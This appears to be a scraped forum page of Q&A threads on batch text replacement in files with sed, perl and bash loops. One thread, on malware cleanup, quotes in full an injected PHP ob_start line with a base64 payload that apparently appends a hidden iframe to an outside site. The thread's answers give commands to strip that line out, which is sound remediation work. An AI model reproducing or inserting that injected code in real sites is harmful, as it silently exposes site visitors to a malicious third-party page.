Duplicate PHP Tags removal - replace

Someone decided to remove an injection script but forgot to remove the additional php tags so now thousands of php files have the following;
head content-none.php
<?php
<?php
/**
Need to find all files with lines 1 and 2 being the above and remove the duplicate. Any help?
I have this;
sed -i -e '1 <?php/g' -e '2,$ s/ but its incomplete and I'm clueless now :(

Related

Perl command line to replace text block across multi-line using regex

I've got a bunch of html files that I need to replace the following text:
<div id="header">
plus all info between
<!-- end #header -->
with
<?php include ("header.php"); ?>
I thought I could run something like this but it isn't matching the text:
perl -p -i.bak -e 's/<div id="header">.*<!\-\- end #header \-\->/<\?php include \("header\.php"\); \?>/g' *.html
or
perl -p -i.bak -e 's/<div id="header">[\S\s\n]*<!\-\- end \#header \-\->/<\?php include \("header\.php"\); \?>/img' *.html
I don't know if it's not searching across multiple lines and I need a parameter or I'm not escaping characters right. Any help would be appreciated.
I would like to batch run this in a directory and change all the content within each file where appropriate.
EDIT: looking for a single command line version, not using multiple pl files if possible.
You can set the record separator with the -0 option. Like so:
perl -0pe 's/.../.../g' *.html
This sets the record separator to the NUL character, so that the entire file is read at once, rather than line by line.

deleting and replacing string inside .php file

I am having some problems with loading a php file and then replacing his content with something else.
my code looks like this
$pattern="*random text*"
$rep=" "
$where=`ls *.php`
find -f $where -name "*.php" -exec sed -i 's/$pattern/$rep/g' {} \;
This wont load entire line of text. Also is there a limit of how many character can $pattern load?
Also is there a way to make this .sh file execute on every 15min for example?
i am using mac osX.
Thanks!
The syntax $var="value" is wrong. You need to say var="value".
If you just want to do something on files matching *.php, you are doing it in just a directory, so there is no need to use find. Just use for loop:
pattern="*random text*"
rep=" "
for file in *.php
do
sed -i "s/$pattern/$rep/g" "$file"
done
See the usage of sed "s/$var/.../g" instead of sed 's/$var/.../g'. The double quotes expand the variables within the expression; otherwise, you would be looking for a literal $var.
Note that sed -i alone does not work in OS X, so you probably have to say sed -i ''.
Example of replacement:
Given a file:
$ cat a
hello
<?php eval(1234567890) regular php code ?>
bye
Let's remove everything from within eval():
$ sed -r 's/(eval\()[^)]*/\1X/' a
hello
<?php eval(X) regular php code ?>
bye

How to delete lines while preserving certain characters via sed/perl?

I'm trying to do a mass search and replace on all .php files for the following string for malware cleanup:
<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}
I can delete the entire line via sed '/buffer.base64_decode/d' file.php. However, I still need the opening <?php
So what really needs to be done is a search and replace of buffer.base64_decode for <?php and my brain is all mashed potatoes after a long day in front of this evil computer.
Or maybe I've thought myself into a tiny box and am going about this all wrong?
Instead of deleting the line, you don't you simply change it? Here's how, using GNU sed:
sed -i '/buffer.base64_decode/c \<?php ' file.php
Now for all files in your working directory:
find . -type f -name "*.php" -exec sed -i '/buffer.base64_decode/c \<?php ' {} \;
perl -pe 's/<\?php ob_start\("security_update"\);.*?\?>//gsm; s/<\?php ob_start\("security_update"\);.*/<?php/g;' test.php

using sed to search and replace URLs except in certain cases

I have a list of urls where, for the majority, I want to do a simple search and replace, but in some cases I want to exclude using sed.
Given the list below:
http://www.dol.gov
http://www.science.gov
http://www.whitehouse.gov
http://test.sandbox.local
http://www.travel.state.gov
http://www.lib.berkeley.edu
http://dev.sandbox.local
I want to convert all URLs that do not have "sandbox" in the URL to:
href="/fetch?domain=<url>"
What I have so far with sed is the following:
sed -r 's|http://(\S*)|href="/fetch\?domain=\1"|g'
which reformats all the URLs as expected.
How do I modify what I have to exclude the lines that have "sandbox" in them?
Thanks in advance for your help!
If by exclude, you mean "do not do the replacement", then:
sed -r '/sandbox/!s|http://(\S*)|href="/fetch\?domain=\1"|g'
If you mean 'omit completely from the output':
sed -r -e '/sandbox/d' -e 's|http://(\S*)|href="/fetch\?domain=\1"|g'
sed -r 's|http://(\S*)|href="/fetch\?domain=\1"|g' | grep -v sandbox

Perform a regex operation over files in directory

I want to replace instances of <span class='i'> </span> with <i> </i> because I decided I want to format my pages this way instead. So I have come up with this command:
perl -pe "s/<span +class *= *['\"]i['\"] *>(.*?)<\/span>/<i>\1<\/i>/g"
I could make it more elaborate but I really don't think there are instances of weirdly formed tags like < / span> or anything so I'll leave it at that. It does have a non greedy capture which is why I used perl -p rather than sed.
So this will output the correctly modified lines but I'm not sure about the best way to send multiple files through this command. What's the best way to do it if I want all of pages/*.html to have the span class='i' tags fixed? Does bash provide some provision for doing this other than a for loop?
#Steven, as per your comment to the answer by #SiegeX, the following will work fine:
perl -pi -e "s/<span +class *= *['\"]i['\"] *>(.*?)<\/span>/<i>\1<\/i>/g" *.html
I would have Perl create backups of the files though, so change the first part to
perl -pi.bak -e ...
The following will iterate over all html files in pages/ and do an in-place edit with your perl script .
#!/bin/bash
for file in pages/*.html; do
perl -pi -e "s/<span +class *= *['\"]i['\"] *>(.*?)<\/span>/<i>\1<\/i>/g" "$file"
done